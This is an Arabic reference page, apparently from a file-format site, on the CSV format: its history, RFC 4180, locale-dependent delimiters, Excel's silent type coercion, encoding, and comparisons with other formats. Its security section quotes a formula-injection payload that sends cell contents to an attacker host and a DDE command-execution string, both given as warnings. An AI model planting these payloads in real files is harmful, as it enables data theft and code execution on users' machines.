Comma-Separated Values
ملف CSV يُخزّن بيانات جدولية كنص عادي حيث تفصل الفواصل بين الحقول وتفصل أسطر جديدة بين السجلات. لا بايتات سحرية، لا ترميز مُعلن، لا أنواع أعمدة — بساطة جعلت CSV الصيغة الأكثر انتشاراً لتبادل البيانات، ومصدراً دائماً لمشاكل التوافق.
التحويل غير متاح حالياً. تحويل CSV إلى Excel يتطلب محرك عرض جداول — ميزة مخططة لتحديث مستقبلي.
أسئلة شائعة
ما هو ملف CSV وكيف أفتحه؟
CSV (قيم مفصولة بفاصلة) صيغة نص عادي تُخزّن بيانات جدولية حيث تفصل الفواصل بين الحقول وتفصل أسطر جديدة بين السجلات. يمكن فتحه في أي محرر نصوص لعرض البيانات الخام. لعرض جدولي، استخدم Excel أو Google Sheets أو LibreOffice Calc — لكن احذر من استدلال الأنواع التلقائي الذي قد يُفسد البيانات.
لماذا يُغيّر Excel بياناتي عند فتح ملف CSV؟
Excel يُطبّق استدلالاً تلقائياً للأنواع بدون تحذير. يحذف الأصفار البادئة (01234 يصبح 1234)، يُحوّل الأرقام الطويلة لصيغة علمية (IBAN يصبح 1.23E+13)، ويُحوّل النصوص لتواريخ (MAR1 يصبح 1-Mar). الحل: استخدم Data > Get Data > From Text/CSV في Excel وحدد جميع الأعمدة الحساسة كنص قبل الاستيراد.
كيف أعرض النص العربي بشكل صحيح في ملف CSV؟
احفظ الملف بترميز UTF-8 مع BOM (بايتات EF BB BF في البداية). بدون BOM، يعتمد Excel على ترميز النظام المحلي مما يُفسد الأحرف العربية. في Python: افتح الملف بـ encoding='utf-8-sig' للقراءة والكتابة مع BOM. في Excel: اختر CSV UTF-8 عند الحفظ.
ما الفرق بين CSV وExcel (XLSX)؟
CSV نص عادي بدون أنواع أو تنسيق أو صيغ — أي محرر يمكنه قراءته. XLSX صيغة ثنائية (أرشيف ZIP من XML) تحفظ أنواع الأعمدة والتنسيق الشرطي والصيغ والرسوم البيانية وأوراق عمل متعددة. CSV أبسط وأكثر قابلية للنقل لكنه يخسر جميع معلومات البنية.
لماذا ملف CSV الفرنسي يستخدم فواصل منقوطة بدلاً من فواصل؟
في فرنسا وألمانيا ومعظم أوروبا، الفاصلة هي الفاصل العشري (3,14 بدلاً من 3.14). لتجنب التعارض، أمر حفظ كـ CSV في Excel يستخدم فاصل القائمة من إعدادات النظام — وهو الفاصلة المنقوطة في الإعدادات الأوروبية. لهذا السبب ملف CSV ليس بالضرورة مفصولاً بفواصل.
ما هو حقن CSV (CSV Injection) وكيف أحمي نفسي؟
حقن CSV يحدث عندما يبدأ حقل بـ = أو + أو - أو @ مما يجعل Excel يُنفّذه كصيغة. صيغة مثل =HYPERLINK() يمكنها تسريب بيانات الخلايا. للحماية: عند تصدير CSV من تطبيقك، أضف فاصلة عليا (') قبل الحقول التي تبدأ بهذه الأحرف. عند الاستيراد: استخدم مكتبات تحليل (Python csv) بدلاً من فتح الملف مباشرةً في Excel.
كيف أستورد CSV كبير (أكبر من مليون صف) لا يمكن لـ Excel فتحه؟
Excel يدعم 1,048,576 صفاً كحد أقصى. للملفات الأكبر: استخدم Python مع pandas (read_csv مع معلمة chunksize للمعالجة على دفعات)، أو csvsql لتشغيل استعلامات SQL مباشرةً على الملف، أو DuckDB للاستعلام العمودي السريع. xsv بلغة Rust يعالج ملفات بالغيغابايت بسرعة تفوق أدوات Python.
ما يميز .CSV
صيغة بلا مُخترع
CSV لم يُخترعها شخص ولم تُعرّفها مؤسسة. ظهرت عضوياً من تطبيقات متعددة مستقلة. عام 1972 دعمت تطبيقات IBM Fortran إدخال/إخراج موجّه بالقوائم مفصول بفواصل. عام 1978 ظهرت في سياق نظام CP/M. عام 1987 انتشرت على نطاق واسع في تصدير قواعد بيانات MS-DOS مثل dBASE وLotus 1-2-3. لم يأتِ RFC 4180 حتى عام 2005 — بعد أكثر من 30 عاماً من انتشار CSV الفعلي. وهو RFC معلوماتي (ليس معياراً) يصف الممارسة القائمة بدلاً من تعريفها. هذا التأخر يُفسّر لماذا لدى CSV لهجات غير متوافقة كثيرة.
اكتشف التفاصيل التقنية
قواعد RFC 4180
كل سجل على سطر منفصل، منتهٍ بـ CRLF. الحقول مفصولة بفواصل. الحقول التي تحتوي فواصل أو علامات اقتباس مزدوجة أو فواصل أسطر يجب أن تُحاط بعلامات اقتباس مزدوجة. علامات الاقتباس المزدوجة داخل حقل مُقتبس تُهرّب بمضاعفتها (""). صف ترويسة اختياري قد يظهر كأول سطر. نوع MIME المُسجّل هو text/csv مع معلمات اختيارية charset وheader.
فوضى المحدّدات
رغم اسم "قيم مفصولة بفاصلة"، المحدّد يتغير حسب الإعدادات المحلية. في أمريكا وبريطانيا ومعظم الدول الناطقة بالإنجليزية: الفاصلة (,). في ألمانيا وفرنسا وإيطاليا وهولندا ومعظم أوروبا: الفاصلة المنقوطة (;) — لأن الفاصلة هي الفاصل العشري في هذه البلدان (مثلاً 3,14). Tab (\t) يُستخدم في TSV. Pipe (|) يُستخدم أحياناً في تصدير البيانات المؤسسية.
أمر "حفظ كـ CSV" في Excel يستخدم فاصل القائمة في إعدادات النظام (في لوحة التحكم على Windows) وليس دائماً الفاصلة. ملف "CSV" أنشأه Excel فرنسي يستخدم فواصل منقوطة. هذا يعني أن ملفات CSV ليست بالضرورة مفصولة بفواصل.
Excel يُدمّر بيانات CSV بصمت
فتح ملف CSV في Microsoft Excel يُفعّل استدلالاً تلقائياً للأنواع يُفسد البيانات بشكل لا رجعة فيه. الأصفار البادئة تُحذف: الرمز البريدي 01234 يصبح 1234 ورموز المنتجات وأرقام الهاتف تفقد أصفارها. الأرقام الكبيرة تُحوّل لصيغة علمية: أرقام IBAN وUPC والمراجع الطويلة مثل 12345678901234 تصبح 1.23457E+13. النصوص تُحوّل تلقائياً لتواريخ: MAR1 يصبح 1-Mar و1-2 يصبح Jan-2 وأسماء الجينات مثل SEPT7 تصبح 7-Sep. الصيغة العلمية 1E3 (نص) تصبح 1000 (رقم).
Excel يفحص أول 200 صف ويُعيّن أنواع البيانات بناءً على استدلال داخلي بدون تحذير للمستخدم. مجرد فتح ملف CSV وحفظه في Excel دون إجراء أي تغييرات يمكنه إفساد البيانات الأساسية. هذه المشكلة موثّقة على موقع دعم Microsoft وتُعدّ من أكثر مصادر فساد البيانات شيوعاً.
لا مخطط، لا أنواع، لا بيانات وصفية
CSV لا يحمل أي بيانات وصفية عن محتواه. لا توجد طريقة للإعلان عن أنواع الأعمدة أو الترميز أو المحدّد أو قواعد الاقتباس أو ما إذا كان صف ترويسة موجوداً. كل مستهلك يجب أن يُخمّن. هذا هو أكبر قوة لـ CSV (البساطة) وأكبر ضعف لها (الغموض) في آن واحد.
الترميز: ثقب أسود
CSV لا يملك آلية للإعلان عن ترميزه. الملف قد يكون UTF-8 أو Windows-1252 أو Shift-JIS أو أي شيء آخر، ولا توجد طريقة لمعرفة ذلك دون تخمين. RFC 4180 لا يُحدد ترميزاً. عملياً: ASCII كان الافتراض تاريخياً، وUTF-8 ينتشر بشكل متزايد، وWindows-1252 شائع في ملفات أنشأها Excel بإعدادات غربية.
للنص العربي في CSV، يُعدّ UTF-8 مع BOM (بايتات EF BB BF في البداية) ضرورياً لعرض Excel الصحيح. بدون BOM، يعتمد Excel على ترميز الإعدادات المحلية للنظام مما يُفسد الأحرف العربية. اتجاه النص من اليمين لليسار لا يُحفظ في CSV — يعتمد كلياً على التطبيق المُستهلك.
السياق السعودي
بوابة البيانات المفتوحة السعودية (data.gov.sa) تستضيف أكثر من 11,439 مجموعة بيانات من 289 جهة. CSV أحد صيغ التنزيل الأساسية إلى جانب JSON وXML. البيانات الحكومية تشمل الصحة والاقتصاد والتعليم والبيئة والعمل.
منصة البيانات المفتوحة لمؤسسة النقد العربي السعودي (ساما) توفر إحصاءات اقتصادية ومالية ونقدية قابلة للتنزيل بصيغتي CSV وExcel، يستخدمها الباحثون والصحفيون وشركات التقنية المالية.
أرقام IBAN السعودية (24 حرفاً، تبدأ بـ SA) معرّضة بشكل خاص لفساد الصيغة العلمية في Excel — نقطة ألم عملية لمستخدمي البنوك السعوديين الذين يتعاملون مع تصدير معاملات CSV. الحل: استخدم استيراد البيانات (Data > Get Data) في Excel بدلاً من الفتح المزدوج، وحدد العمود كنص.
RFC جاء بعد 30 عاماً
RFC 4180 نُشر في أكتوبر 2005 كـ RFC معلوماتي — ليس معياراً ملزماً. هذا غير عادي لـ RFC. المستند جاء بعد أكثر من 30 عاماً من انتشار CSV، ويصف الممارسة القائمة بدلاً من تعريفها. هذا التأخر يُفسّر لماذا لدى CSV لهجات كثيرة غير متوافقة — لم يكن هناك سلطة مرجعية عندما تطورت التطبيقات بشكل مستقل.
W3C نشرت في 2015 توصية CSV on the Web (CSVW) التي تُعرّف بيانات وصفية JSON-LD لملفات CSV — مُحدد وترميز وأنواع أعمدة — لكن التبني يبقى محدوداً خارج مبادرات البيانات المفتوحة الحكومية.
مقارنة .CSV مع البدائل
| المقارنة | المعيار | الفائز |
|---|---|---|
| .CSV vs .XLSX | حفظ أنواع البيانات XLSX يُخزّن أنواع الأعمدة (نص، رقم، تاريخ) وقواعد التنسيق والصيغ. CSV يتعامل مع كل شيء كنص — لا أنواع ولا تنسيق ولا صيغ. فتح CSV في Excel يُفعّل استدلالاً تلقائياً للأنواع يُفسد البيانات. | XLSX أفضل |
| .CSV vs .JSON | البنية الهرمية JSON يدعم البيانات المتداخلة والمصفوفات والكائنات. CSV مسطح — صفوف وأعمدة فقط. تمثيل علاقة واحد-لمتعدد في CSV يتطلب تكرار البيانات أو تسطيح البنية. | JSON أفضل |
| .CSV vs .SQL DUMP | البساطة CSV يمكن فتحه وفهمه بأي محرر نصوص دون معرفة بأي لهجة قاعدة بيانات. تفريغات SQL تتطلب فهم صيغة المحرك المُحدد (MySQL مقابل PostgreSQL مقابل SQLite) وقد تحتوي منطقاً مُخزّناً معقداً. | CSV أفضل |
| .CSV vs .PARQUET | أداء الاستعلام على بيانات كبيرة Parquet صيغة عمودية ثنائية تدعم ضغطاً فعالاً واستعلامات عمودية انتقائية. CSV يتطلب مسح الملف بالكامل لأي استعلام. لمجموعات البيانات بالغيغابايت، Parquet أسرع بمرتبة حجم. | PARQUET أفضل |
| .CSV vs .JSON | Human readability for tabular data Tabular data in CSV aligns naturally in columns visible in any text editor. The same data in JSON repeats key names for every row and adds structural characters (braces, brackets, quotes), often tripling file size. | CSV أفضل |
المرجع التقني
- نوع MIME
text/csv- المطوّر
- IBM (earliest usage)
- سنة التقديم
- 1972
- معيار مفتوح
- نعم — عرض المواصفات
البنية الثنائية
CSV صيغة نصية بلا بنية ثنائية أو بايتات سحرية. الملف يبدأ مباشرةً بمحتوى نصي — صف ترويسة اختياري يُحدد أسماء الأعمدة يليه صفوف بيانات. الحقول مفصولة بفواصل (أو فواصل منقوطة حسب الإعدادات المحلية). الحقول التي تحتوي فواصل أو علامات اقتباس أو أسطر جديدة تُحاط بعلامات اقتباس مزدوجة. علامات الاقتباس داخل حقول مُقتبسة تُهرّب بمضاعفتها. نهايات الأسطر CRLF وفق RFC 4180 لكن LF وحده مقبول عالمياً. لا آلية لإعلان الترميز — UTF-8 مفترض بشكل متزايد. Excel قد يُقدّم بايتات BOM (EF BB BF) عند الحفظ كـ CSV UTF-8. PRONOM يُعرّف CSV كـ x-fmt/18 بالبادئة x-fmt/ التي تشير إلى صيغة بدون توقيع ثنائي.
التحويل غير متاح حالياً. تحويل CSV إلى Excel يتطلب محرك عرض جداول — ميزة مخططة لتحديث مستقبلي.
نقاط الضعف
- حقن صيغ جداول البيانات (CSV Injection) — حقل يبدأ بـ = أو + أو - أو @ يُنفّذ كصيغة عند فتحه في Excel أو Google Sheets. صيغة مثل =HYPERLINK("http://attacker.com/"&A1) تُسرّب محتوى الخلايا لخادم المهاجم.
- تسريب بيانات عبر DDE — حقل يحتوي =cmd|'/C calc'!A1 يُنفّذ أوامر نظام عبر Dynamic Data Exchange في إصدارات Excel القديمة التي لا تُعطّل DDE افتراضياً.
- فساد بيانات صامت — Excel يُغيّر أنواع البيانات (أصفار بادئة، صيغة علمية، نص إلى تاريخ) بدون تحذير عند فتح CSV، مما قد يُفسد IBAN وأرقام هاتف وبيانات علمية.
- تسميم البيانات — ملف CSV من مصدر غير موثوق قد يحتوي صفوفاً مُصمّمة لإفساد نماذج تعلم آلي أو تحليلات إحصائية عند استيرادها دون تحقق.
الحماية: FileDex لا يفتح أو يُنفّذ أو يعالج ملفات CSV. هذه صفحة مرجعية فقط. عند التعامل مع CSV غير موثوق، استخدم مكتبات تحليل (Python csv، csvkit) بدلاً من فتحه مباشرةً في Excel.
- مواصفات RFC 4180 — الصيغة الشائعة ونوع MIME لقيم مفصولة بفاصلة (CSV)
- مواصفات RFC 7111 — مُعرّفات أجزاء URI لنوع وسائط text/csv
- سجل CSV، قيم مفصولة بفاصلة (RFC 4180) — وصف صيغة مكتبة الكونغرس (fdd000323)
- Standard W3C CSV on the Web — توصية البيانات الجدولية على الويب
- سجل قيم مفصولة بفاصلة (x-fmt/18) — سجل PRONOM للأرشيف الوطني
- تاريخ Comma-separated values — Wikipedia